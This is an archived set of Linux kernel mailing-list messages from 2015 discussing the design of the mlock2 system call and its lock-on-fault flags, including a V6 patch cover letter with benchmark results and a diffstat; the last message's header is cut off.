Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3253 gmane.linux.kernel:2007449 gmane.linux.ports.mips.general:49643 gmane.linux.ports.parisc:25888 gmane.linux.ports.ppc64.devel:116061 gmane.linux.ports.sparc:21324 gmane.linux.kernel.mm:136453 gmane.linux.kernel.cross-arch:28681 gmane.linux.kernel.api:13281
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3253>

On Tue 28-07-15 09:49:42, Eric B Munson wrote:
> On Tue, 28 Jul 2015, Michal Hocko wrote:
> 
> > [I am sorry but I didn't get to this sooner.]
> > 
> > On Mon 27-07-15 10:54:09, Eric B Munson wrote:
> > > Now that VM_LOCKONFAULT is a modifier to VM_LOCKED and
> > > cannot be specified independentally, it might make more sense to mirror
> > > that relationship to userspace.  Which would lead to soemthing like the
> > > following:
> > 
> > A modifier makes more sense.
> >  
> > > To lock and populate a region:
> > > mlock2(start, len, 0);
> > > 
> > > To lock on fault a region:
> > > mlock2(start, len, MLOCK_ONFAULT);
> > > 
> > > If LOCKONFAULT is seen as a modifier to mlock, then having the flags
> > > argument as 0 mean do mlock classic makes more sense to me.
> > > 
> > > To mlock current on fault only:
> > > mlockall(MCL_CURRENT | MCL_ONFAULT);
> > > 
> > > To mlock future on fault only:
> > > mlockall(MCL_FUTURE | MCL_ONFAULT);
> > > 
> > > To lock everything on fault:
> > > mlockall(MCL_CURRENT | MCL_FUTURE | MCL_ONFAULT);
> > 
> > Makes sense to me. The only remaining and still tricky part would be
> > the munlock{all}(flags) behavior. What should munlock(MLOCK_ONFAULT)
> > do? Keep locked and poppulate the range or simply ignore the flag an
> > just unlock?
> > 
> > I can see some sense to allow munlockall(MCL_FUTURE[|MLOCK_ONFAULT]),
> > munlockall(MCL_CURRENT) resp. munlockall(MCL_CURRENT|MCL_FUTURE) but
> > other combinations sound weird to me.
> > 
> > Anyway munlock with flags opens new doors of trickiness.
> 
> In the current revision there are no new munlock[all] system calls
> introduced.  munlockall() unconditionally cleared both MCL_CURRENT and
> MCL_FUTURE before the set and now unconditionally clears all three.
> munlock() does the same for VM_LOCK and VM_LOCKONFAULT. 

OK if new munlock{all}(flags) is not introduced then this is much saner
IMO.

> If the user
> wants to adjust mlockall flags today, they need to call mlockall a
> second time with the new flags, this remains true for mlockall after
> this set and the same behavior is mirrored in mlock2. 

OK, this makes sense to me.

> The only
> remaining question I have is should we have 2 new mlockall flags so that
> the caller can explicitly set VM_LOCKONFAULT in the mm->def_flags vs
> locking all current VMAs on fault.  I ask because if the user wants to
> lock all current VMAs the old way, but all future VMAs on fault they
> have to call mlockall() twice:
> 
> 	mlockall(MCL_CURRENT);
> 	mlockall(MCL_CURRENT | MCL_FUTURE | MCL_ONFAULT);
> 
> This has the side effect of converting all the current VMAs to
> VM_LOCKONFAULT, but because they were all made present and locked in the
> first call, this should not matter in most cases. 

I think this is OK (worth documenting though) considering that ONFAULT
is just modifier for the current mlock* operation. The memory is locked
the same way for both - aka once the memory is present you do not know
whether it was done during mlock call or later during the fault.

> The catch is that,
> like mmap(MAP_LOCKED), mlockall() does not communicate if mm_populate()
> fails.  This has been true of mlockall() from the beginning so I don't
> know if it needs more than an entry in the man page to clarify (which I
> will add when I add documentation for MCL_ONFAULT).

Yes this is true but unlike mmap it seems fixable I guess. We do not have
to unmap and we can downgrade mmap_sem to read and the fault so nobody
can race with a concurent mlock.

> In a much less
> likely corner case, it is not possible in the current setup to request
> all current VMAs be VM_LOCKONFAULT and all future be VM_LOCKED.

Vlastimil has already pointed that out. MCL_FUTURE doesn't clear
MCL_CURRENT. I was quite surprised in the beginning but it makes a
perfect sense. mlockall call shouldn't lead into munlocking, that would
be just weird. Clearing MCL_FUTURE on MCL_CURRENT makes sense on the
other hand because the request is explicit about _current_ memory and it
doesn't lead to any munlocking.

-- 
Michal Hocko
SUSE Labs
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vlastimil Babka <vbabka@suse.cz>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH V5 0/7] Allow user to request memory to be locked on page
 fault
Date: Wed, 29 Jul 2015 12:49:57 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <55B8AFD5.3030902@suse.cz>
References: <1437773325-8623-1-git-send-email-emunson@akamai.com>
 <55B5F4FF.9070604@suse.cz> <20150727133555.GA17133@akamai.com>
 <55B63D37.20303@suse.cz> <20150727145409.GB21664@akamai.com>
 <20150728111725.GG24972@dhcp22.suse.cz> <20150728134942.GB2407@akamai.com>
 <20150729104532.GE15801@dhcp22.suse.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1438167023 27480 80.91.229.3 (29 Jul 2015 10:50:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 29 Jul 2015 10:50:23 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
 Shuah Khan <shuahkh@osg.samsung.com>,
 Michael Kerrisk <mtk.manpages@gmail.com>, Jonathan Corbet <corbet@lwn.net>,
 Ralf Baechle <ralf@linux-mips.org>, linux-alpha@vger.kernel.org,
 linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
 linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
 sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
 linux-mm@kvack.org, linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Michal Hocko <mhocko@kernel.org>, Eric B Munson <emunson@akamai.com>
Original-X-From: owner-linux-mm@kvack.org Wed Jul 29 12:50:08 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZKOw2-0006Vt-U7
	for glkm-linux-mm-2@m.gmane.org; Wed, 29 Jul 2015 12:50:07 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 24A1A6B0254; Wed, 29 Jul 2015 06:50:06 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 1FB6D6B0255; Wed, 29 Jul 2015 06:50:06 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 1389C6B0256; Wed, 29 Jul 2015 06:50:06 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wi0-f177.google.com (mail-wi0-f177.google.com [209.85.212.177])
	by kanga.kvack.org (Postfix) with ESMTP id CA4AE6B0254
	for <linux-mm@kvack.org>; Wed, 29 Jul 2015 06:50:05 -0400 (EDT)
Original-Received: by wibxm9 with SMTP id xm9so20386205wib.1
        for <linux-mm@kvack.org>; Wed, 29 Jul 2015 03:50:05 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:subject:to
         :references:cc:from:message-id:date:user-agent:mime-version
         :in-reply-to:content-type:content-transfer-encoding;
        bh=HEjKj4HjjvUr5B4vfErMlgunsHoUnS1mLFH2tYViHn4=;
        b=XLOF9Um7EWmfWcdiVX7fKg2VleT/tjzE4ZVJtSjOfoO2fDey/hmjpuuq2r8EAa7W0l
         47Timukl6kMVAiMoGHSKUZemePG9lljmeoziJx5PHepmFyEr9XaGTjgXugbQ9S7ZSjRc
         /aujqJbWTsxWD/rSjeDAwh2ukHvlBn3/P31byrRLyHuDgeF9HCvfb+Ci8txoMG2zERre
         vYCAKkLsYl34hkjuxYyGsq5rP+ajl/xe8UcI/ciCvYqEfa50aE6BelTv+na/+/sdBYCh
         Mz+f8U7fqbqlrBcqzNxyGvdPL1pZfSa2WBycO7Hhi5WbEqMyQ7VcGH9af35fp6GD3q0d
         GJFQ==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of vbabka@suse.cz designates 195.135.220.15 as permitted sender) smtp.mail=vbabka@suse.cz
X-Gm-Message-State: ALoCoQkcHlJCwmgMbReKJHnpe/bGKLMqafUDt82dFCVmZw8mdE0ASqQkczrCmnO3XZsp4XFxPI0CMZ6sy3EkC6xX6TFN0okh+Diqb+I0MNNGg7hk4ZeBMp/SNOHvXGMf5E2TCxE3GXkxhRwbEbqXr/JrZAZOMIgzpuUquFWniPUFZ8t9f3En68OzG9nF3m0SP9csr1wX6TWU
X-Received: by 10.194.249.100 with SMTP id yt4mr81089836wjc.0.1438167005436;
        Wed, 29 Jul 2015 03:50:05 -0700 (PDT)
X-Received: by 10.194.249.100 with SMTP id yt4mr81089688wjc.0.1438167004526;
        Wed, 29 Jul 2015 03:50:04 -0700 (PDT)
Original-Received: from mx2.suse.de (mx2.suse.de. [195.135.220.15])
        by mx.google.com with ESMTPS id 15si6710936wjx.108.2015.07.29.03.50.03
        for <linux-mm@kvack.org>
        (version=TLS1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Wed, 29 Jul 2015 03:50:04 -0700 (PDT)
Received-SPF: pass (google.com: domain of vbabka@suse.cz designates 195.135.220.15 as permitted sender) client-ip=195.135.220.15;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of vbabka@suse.cz designates 195.135.220.15 as permitted sender) smtp.mail=vbabka@suse.cz
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id 6D487ABF9;
	Wed, 29 Jul 2015 10:50:01 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.0.1
In-Reply-To: <20150729104532.GE15801@dhcp22.suse.cz>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:136455 gmane.linux.ports.alpha:3254 gmane.linux.kernel:2007454 gmane.linux.ports.mips.general:49644 gmane.linux.ports.parisc:25889 gmane.linux.ports.ppc64.devel:116062 gmane.linux.ports.sparc:21325 gmane.linux.kernel.cross-arch:28682 gmane.linux.kernel.api:13283
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/136455>

On 07/29/2015 12:45 PM, Michal Hocko wrote:
>> In a much less
>> likely corner case, it is not possible in the current setup to request
>> all current VMAs be VM_LOCKONFAULT and all future be VM_LOCKED.
> 
> Vlastimil has already pointed that out. MCL_FUTURE doesn't clear
> MCL_CURRENT. I was quite surprised in the beginning but it makes a
> perfect sense. mlockall call shouldn't lead into munlocking, that would
> be just weird. Clearing MCL_FUTURE on MCL_CURRENT makes sense on the
> other hand because the request is explicit about _current_ memory and it
> doesn't lead to any munlocking.

Yeah after more thinking it does make some sense despite the perceived
inconsistency, but it's definitely worth documenting properly. It also already
covers the usecase for munlockall2(MCL_FUTURE) which IIRC you had in the earlier
revisions...

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: [PATCH V6 0/6] Allow user to request memory to be locked on page fault
Date: Wed, 29 Jul 2015 11:42:49 -0400
Lines: 218
Approved: news@gmane.org
Message-ID: <1438184575-10537-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1438184604 10186 80.91.229.3 (29 Jul 2015 15:43:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 29 Jul 2015 15:43:24 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Shuah Khan <shuahkh@osg.samsung.com>,
	Michal Hocko <mhocko@suse.cz>,
	Michael Kerrisk <mtk.manpages@gmail.com>,
	Vlastimil Babka <vbabka@suse.cz>,
	Jonathan Corbet <corbet@lwn.net>,
	Ralf Baechle <ralf@linux-mips.org>,
	linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org,
	linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Wed Jul 29 17:43:08 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZKTVa-0002jL-Db
	for glkm-linux-mm-2@m.gmane.org; Wed, 29 Jul 2015 17:43:06 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 49A8C6B0255; Wed, 29 Jul 2015 11:43:05 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 44A9E6B0256; Wed, 29 Jul 2015 11:43:05 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 3604C9003C7; Wed, 29 Jul 2015 11:43:05 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qg0-f53.google.com (mail-qg0-f53.google.com [209.85.192.53])
	by kanga.kvack.org (Postfix) with ESMTP id 0DD2D6B0255
	for <linux-mm@kvack.org>; Wed, 29 Jul 2015 11:43:05 -0400 (EDT)
Original-Received: by qged69 with SMTP id d69so6292337qge.0
        for <linux-mm@kvack.org>; Wed, 29 Jul 2015 08:43:04 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id;
        bh=LRYPsEf4FSciy+X4JyX/mAMDQV1bKyanMLQJPsUQagU=;
        b=kAFHatm211wLJFgCEKSOEP6m54UME+SGXAhcph7N+4W9nbfVg8S6HuHOsrFSgeguT+
         QVPgT/9HCVBo+i1r9qBhxjv9vP6Gv1uRsYPQtOuTlYRVILAx0BAORFPC91DifDcXl/9j
         6cpWQLidzezWpX8nmfVWWc8fum9LLbjKtPHSe3CLx58FLX5/ZqftUoDaIE9sqMdDWNl7
         Rda6R3OfI5tXKGpk/OYkBTwJGU8jodNmn0qTtY7Y4sNPHPfickzXBkcH6r+84/lVI36t
         9pSC7wIf/tVkk48RZtNH+V6Yl8BWwAhP0oBm7eHmNoaCWA8N2D1Kr5xmNjIcrsjoEBWo
         EP2Q==
X-Gm-Message-State: ALoCoQmAswKENAhlItS3ZaA6so/2j1QqiSqbi+Iw05H6cPnNcf8Yg+Okvco1sWGGN4dJfUgTnSN4Gh0vWptjYlOCdKG8QG7Qyfx60t0JcBO4Q8jWn4lyMM820Fo22mit9GLQ+sRxMxoe2PdniXc0ebzhdJnNv1TdEcnABRKcJXqs4bFT0EBIWJRqT4sm8h2eVNnyWGAd3IS9
X-Received: by 10.140.93.43 with SMTP id c40mr62915621qge.54.1438184584842;
        Wed, 29 Jul 2015 08:43:04 -0700 (PDT)
X-Received: by 10.140.93.43 with SMTP id c40mr62915495qge.54.1438184583946;
        Wed, 29 Jul 2015 08:43:03 -0700 (PDT)
Original-Received: from prod-mail-xrelay06.akamai.com (prod-mail-xrelay06.akamai.com. [96.6.114.98])
        by mx.google.com with ESMTP id x142si31876062qkx.44.2015.07.29.08.43.03
        for <linux-mm@kvack.org>;
        Wed, 29 Jul 2015 08:43:03 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 96.6.114.98 as permitted sender) client-ip=96.6.114.98;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 96.6.114.98 as permitted sender) smtp.mail=emunson@akamai.com;
       dkim=pass (test mode) header.i=@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay06.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id D4B6416AB8C;
	Wed, 29 Jul 2015 15:43:02 +0000 (GMT)
Original-Received: from prod-mail-relay08.akamai.com (prod-mail-relay08.akamai.com [172.27.22.71])
	by prod-mail-xrelay06.akamai.com (Postfix) with ESMTP id B362D16AB8F;
	Wed, 29 Jul 2015 15:43:02 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1438184582; bh=wPH7Z/sMhkcTO8i8g1mh8+DpflXHaJ5/fSDW19il6/Q=;
	l=9890; h=From:To:Cc:Date:From;
	b=PHzwZlcGTJgdDjrq7mdLOnVx8dYD5IJ3u+KqgxpaSUk+AQPFRGkSv5kWdjDvmaw3s
	 33TzZ4bxie5tW9y/fkUDffNZW9TB1l/aCTxUeljQZNNLrymbQSQgFRNzC9d+eHk7tY
	 v+/wQisIU18Klqhw+FG1v3z19fBomlpXBOcyDo3I=
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (bos-lp6ds.kendall.corp.akamai.com [172.28.12.193])
	by prod-mail-relay08.akamai.com (Postfix) with ESMTP id BA99E98085;
	Wed, 29 Jul 2015 15:43:01 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:136496 gmane.linux.ports.alpha:3255 gmane.linux.kernel:2007753 gmane.linux.ports.mips.general:49646 gmane.linux.ports.parisc:25890 gmane.linux.ports.ppc64.devel:116077 gmane.linux.ports.sparc:21326 gmane.linux.kernel.cross-arch:28683 gmane.linux.kernel.api:13311
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/136496>

mlock() allows a user to control page out of program memory, but this
comes at the cost of faulting in the entire mapping when it is
allocated.  For large mappings where the entire area is not necessary
this is not ideal.  Instead of forcing all locked pages to be present
when they are allocated, this set creates a middle ground.  Pages are
marked to be placed on the unevictable LRU (locked) when they are first
used, but they are not faulted in by the mlock call.

This series introduces a new mlock() system call that takes a flags
argument along with the start address and size.  This flags argument
gives the caller the ability to request memory be locked in the
traditional way, or to be locked after the page is faulted in.  A new
MCL flag is added to mirror the lock on fault behavior from mlock() in
mlockall().

There are two main use cases that this set covers.  The first is the
security focussed mlock case.  A buffer is needed that cannot be written
to swap.  The maximum size is known, but on average the memory used is
significantly less than this maximum.  With lock on fault, the buffer
is guaranteed to never be paged out without consuming the maximum size
every time such a buffer is created.

The second use case is focussed on performance.  Portions of a large
file are needed and we want to keep the used portions in memory once
accessed.  This is the case for large graphical models where the path
through the graph is not known until run time.  The entire graph is
unlikely to be used in a given invocation, but once a node has been
used it needs to stay resident for further processing.  Given these
constraints we have a number of options.  We can potentially waste a
large amount of memory by mlocking the entire region (this can also
cause a significant stall at startup as the entire file is read in).
We can mlock every page as we access them without tracking if the page
is already resident but this introduces large overhead for each access.
The third option is mapping the entire region with PROT_NONE and using
a signal handler for SIGSEGV to mprotect(PROT_READ) and mlock() the
needed page.  Doing this page at a time adds a significant performance
penalty.  Batching can be used to mitigate this overhead, but in order
to safely avoid trying to mprotect pages outside of the mapping, the
boundaries of each mapping to be used in this way must be tracked and
available to the signal handler.  This is precisely what the mm system
in the kernel should already be doing.

For mlock(MLOCK_ONFAULT) the user is charged against RLIMIT_MEMLOCK as
if mlock(MLOCK_LOCKED) or mmap(MAP_LOCKED) was used, so when the VMA is
created not when the pages are faulted in.  For mlockall(MCL_ONFAULT)
the user is charged as if MCL_FUTURE was used.  This decision was made
to keep the accounting checks out of the page fault path.

To illustrate the benefit of this set I wrote a test program that mmaps
a 5 GB file filled with random data and then makes 15,000,000 accesses
to random addresses in that mapping.  The test program was run 20 times
for each setup.  Results are reported for two program portions, setup
and execution.  The setup phase is calling mmap and optionally mlock on
the entire region.  For most experiments this is trivial, but it
highlights the cost of faulting in the entire region.  Results are
averages across the 20 runs in milliseconds.

mmap with mlock(MLOCK_LOCKED) on entire range:
Setup avg:      8228.666
Processing avg: 8274.257

mmap with mlock(MLOCK_LOCKED) before each access:
Setup avg:      0.113
Processing avg: 90993.552

mmap with PROT_NONE and signal handler and batch size of 1 page:
With the default value in max_map_count, this gets ENOMEM as I attempt
to change the permissions, after upping the sysctl significantly I get:
Setup avg:      0.058
Processing avg: 69488.073
mmap with PROT_NONE and signal handler and batch size of 8 pages:
Setup avg:      0.068
Processing avg: 38204.116

mmap with PROT_NONE and signal handler and batch size of 16 pages:
Setup avg:      0.044
Processing avg: 29671.180

mmap with mlock(MLOCK_ONFAULT) on entire range:
Setup avg:      0.189
Processing avg: 17904.899

The signal handler in the batch cases faulted in memory in two steps to
avoid having to know the start and end of the faulting mapping.  The
first step covers the page that caused the fault as we know that it will
be possible to lock.  The second step speculatively tries to mlock and
mprotect the batch size - 1 pages that follow.  There may be a clever
way to avoid this without having the program track each mapping to be
covered by this handeler in a globally accessible structure, but I could
not find it.  It should be noted that with a large enough batch size
this two step fault handler can still cause the program to crash if it
reaches far beyond the end of the mapping.

These results show that if the developer knows that a majority of the
mapping will be used, it is better to try and fault it in at once,
otherwise mlock(MLOCK_ONFAULT) is significantly faster.

The performance cost of these patches are minimal on the two benchmarks
I have tested (stream and kernbench).  The following are the average
values across 20 runs of stream and 10 runs of kernbench after a warmup
run whose results were discarded.

Avg throughput in MB/s from stream using 1000000 element arrays
Test     4.2-rc1      4.2-rc1+lock-on-fault
Copy:    10,566.5     10,421
Scale:   10,685       10,503.5
Add:     12,044.1     11,814.2
Triad:   12,064.8     11,846.3

Kernbench optimal load
                 4.2-rc1  4.2-rc1+lock-on-fault
Elapsed Time     78.453   78.991
User Time        64.2395  65.2355
System Time      9.7335   9.7085
Context Switches 22211.5  22412.1
Sleeps           14965.3  14956.1

---
Changes from V5:
Drop MLOCK_LOCKED flag
* MLOCK_ONFAULT and MCL_ONFAULT are treated as a modifier to other locking
 operations, mirroring the relationship between VM_LOCKED and
 VM_LOCKONFAULT
* Drop mmap flag and related tests
* Fix clearing of MCL_CURRENT when mlockall is called with MCL_FUTURE,
 mlockall behavoir now matches the old behavior WRT to ordering

Changes from V4:
Drop all architectures for new sys call entries except x86[_64] and MIPS
Drop munlock2 and munlockall2
Make VM_LOCKONFAULT a modifier to VM_LOCKED only to simplify book keeping
Adjust tests to match

Changes from V3:
Ensure that pages present when mlock2(MLOCK_ONFAULT) is called are locked
Ensure that VM_LOCKONFAULT is handled in cases that used to only check VM_LOCKED
Add tests for new system calls
Add missing syscall entries, fix NR_syscalls on multiple arch's
Add missing MAP_LOCKONFAULT for tile

Changes from V2:
Added new system calls for mlock, munlock, and munlockall with added
flags arguments for controlling how memory is locked or unlocked.


Eric B Munson (6):
  mm: mlock: Refactor mlock, munlock, and munlockall code
  mm: mlock: Add new mlock system call
  mm: Introduce VM_LOCKONFAULT
  mm: mlock: Add mlock flags to enable VM_LOCKONFAULT usage
  selftests: vm: Add tests for lock on fault
  mips: Add entry for new mlock2 syscall

 arch/alpha/include/uapi/asm/mman.h          |   3 +
 arch/mips/include/uapi/asm/mman.h           |   6 +
 arch/mips/include/uapi/asm/unistd.h         |  15 +-
 arch/mips/kernel/scall32-o32.S              |   1 +
 arch/mips/kernel/scall64-64.S               |   1 +
 arch/mips/kernel/scall64-n32.S              |   1 +
 arch/mips/kernel/scall64-o32.S              |   1 +
 arch/parisc/include/uapi/asm/mman.h         |   3 +
 arch/powerpc/include/uapi/asm/mman.h        |   1 +
 arch/sparc/include/uapi/asm/mman.h          |   1 +
 arch/tile/include/uapi/asm/mman.h           |   1 +
 arch/x86/entry/syscalls/syscall_32.tbl      |   1 +
 arch/x86/entry/syscalls/syscall_64.tbl      |   1 +
 arch/xtensa/include/uapi/asm/mman.h         |   6 +
 drivers/gpu/drm/drm_vm.c                    |   8 +-
 fs/proc/task_mmu.c                          |   1 +
 include/linux/mm.h                          |   2 +
 include/linux/syscalls.h                    |   2 +
 include/uapi/asm-generic/mman-common.h      |   5 +
 include/uapi/asm-generic/mman.h             |   1 +
 include/uapi/asm-generic/unistd.h           |   4 +-
 kernel/fork.c                               |   2 +-
 kernel/sys_ni.c                             |   1 +
 mm/debug.c                                  |   1 +
 mm/gup.c                                    |  10 +-
 mm/huge_memory.c                            |   2 +-
 mm/hugetlb.c                                |   4 +-
 mm/mlock.c                                  |  91 +++-
 mm/mmap.c                                   |   2 +-
 mm/rmap.c                                   |   4 +-
 tools/testing/selftests/vm/Makefile         |   2 +
 tools/testing/selftests/vm/mlock2-tests.c   | 661 ++++++++++++++++++++++++++++
 tools/testing/selftests/vm/on-fault-limit.c |  47 ++
 tools/testing/selftests/vm/run_vmtests      |  22 +
 34 files changed, 873 insertions(+), 41 deletions(-)
 create mode 100644 tools/testing/selftests/vm/mlock2-tests.c
 create mode 100644 tools/testing/selftests/vm/on-fault-limit.c

Cc: Shuah Khan <shuahkh@osg.samsung.com>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Michael Kerrisk <mtk.manpages@gmail.com>
Cc: Vlastimil Babka <vbabka@suse.cz>
Cc: Jonathan Corbet <corbet@lwn.net>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-mm@kvack.org
Cc: linux-arch@vger.kernel.org
Cc: linux-api@vger.kernel.org


-- 
1.9.1

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch
Subject: [PATCH V6 2/6] mm: mlock: Add new mlock system call
Date: Wed, 29 Jul 2015 11:42:51 -0400
Lines: 129
Approved: news@gmane.org
Message-ID: <1438184575-10537-3-git-send-email-emunson@akamai.com>
References: <1438184575-10537-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1438184610 10233 80.91.229.3 (29 Jul 2015 15:43:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 29 Jul 2015 15:43:30 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Michal Hocko <mhocko@suse.cz>,
	Vlastimil Babka <vbabka@suse.cz>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Guenter Roeck <linux@roeck-us.net>,
	linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-cris-kernel@axis.com,
	linux-ia64@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org,
	linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
